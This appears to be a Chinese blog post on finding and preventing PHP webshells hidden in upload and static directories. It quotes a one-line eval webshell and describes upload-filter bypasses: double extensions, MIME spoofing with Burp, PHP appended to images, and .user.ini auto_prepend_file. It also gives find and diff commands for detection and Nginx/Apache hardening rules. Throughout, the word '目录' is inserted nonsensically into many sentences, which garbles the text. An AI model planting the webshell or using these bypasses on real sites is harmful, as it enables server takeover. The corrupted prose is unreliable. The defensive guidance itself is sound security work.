一个网站被挂马，目录90%的目录情况不是服务器被提权，而是目录攻击者通过一个上传点往某个目录里扔了一个PHP文件。这个文件就是目录webshell。它藏在某个本不该有执行权限的目录目录里，比如/uploads/、目录/images/、目录/cache/，目录然后通过URL直接访问，目录拿到服务器的目录控制权。

我见过最离谱的目录一次，一个电商站的目录/static/js/目录下躺着一个a.php，内容就一行：<?目录php @eval($_POST['x']);?>。这个目录本来只放JavaScript文件，目录Nginx配置里也没限制PHP解析。目录攻击者上传的时候把文件名改成a.php.jpg，前端校验过了，后端只检查了MIME类型，用Burp改包就绕过去了。文件落地后，服务器照样把它当PHP执行。这就是典型的目录webshell——文件本身不复杂，问题出在目录权限和解析规则上。

目录webshell和普通webshell的区别

普通webshell一般挂在/shell.php这种显眼位置，管理员扫一眼根目录就能发现。目录webshell不一样，它藏在深层目录里，文件名可能伪装成index.php、config.php，甚至1.php混在一堆图片里。更隐蔽的做法是利用目录的.htaccess或者Nginx的location配置缺陷，让一个.jpg文件被解析成PHP。

去年帮朋友排查一个WordPress站，发现/wp-content/uploads/2023/下面有个thumb.php，修改时间和正常上传的图片一致。打开一看，混淆过的代码，功能是接收GET参数执行系统命令。这个目录本来只有图片，出现PHP文件本身就异常。但很多人备份网站时只看根目录，数据库导出正常就以为没事，结果webshell在uploads里活了半年。

怎么找出来

别依赖D盾或者河马这类工具扫全盘，它们对混淆过的webshell经常漏报。手动排查更靠谱。先列出所有可写目录：find /var/www -type d -perm -o=w。然后在这些目录里找最近修改过的PHP文件：find /var/www/uploads -name "*.php" -mtime -30。如果uploads目录里出现任何PHP文件，直接删，不用犹豫。

还有个笨办法但有效：对比文件哈希。从官方源重新下载一份同版本的程序，用diff -r对比目录结构，多出来的文件就是可疑的。我一般会重点看cache/、logs/、tmp/这些目录，正常程序不会往里面写PHP。

防御的核心就两条

第一，上传目录禁止PHP解析。Nginx里加一行location ~* /uploads/.*\.php$ { deny all; }，Apache用<Directory>标签关掉php_admin_flag engine off。第二，文件上传后重命名，别用用户提供的文件名。用md5(uniqid())生成新名字，后缀白名单只允许jpg|png|gif。这两条做到位，目录webshell基本就绝迹了。

有人觉得WAF能拦住，但WAF规则更新永远慢半拍。我见过用image/png类型上传.phtml的，WAF没报警，因为请求体里确实是一张真实图片，只是文件头后面附加了PHP代码。服务器解析时把图片当PHP执行了。这种绕过方式现在很常见，别把希望全寄托在WAF上。

最后说个细节：检查你的.user.ini文件。PHP-FPM环境下，这个文件可以覆盖open_basedir和auto_prepend_file。攻击者上传一个.user.ini到上传目录，里面写auto_prepend_file=shell.jpg，那么该目录下所有PHP文件执行前都会先包含shell.jpg。这个手法比直接传PHP文件更隐蔽，因为.user.ini本身不是PHP，很多扫描器不认。

目录webshell的本质是信任边界出了问题——你信任了某个目录，但攻击者往里面塞了可执行代码。解决思路不是找文件，而是让那个目录根本没有执行能力。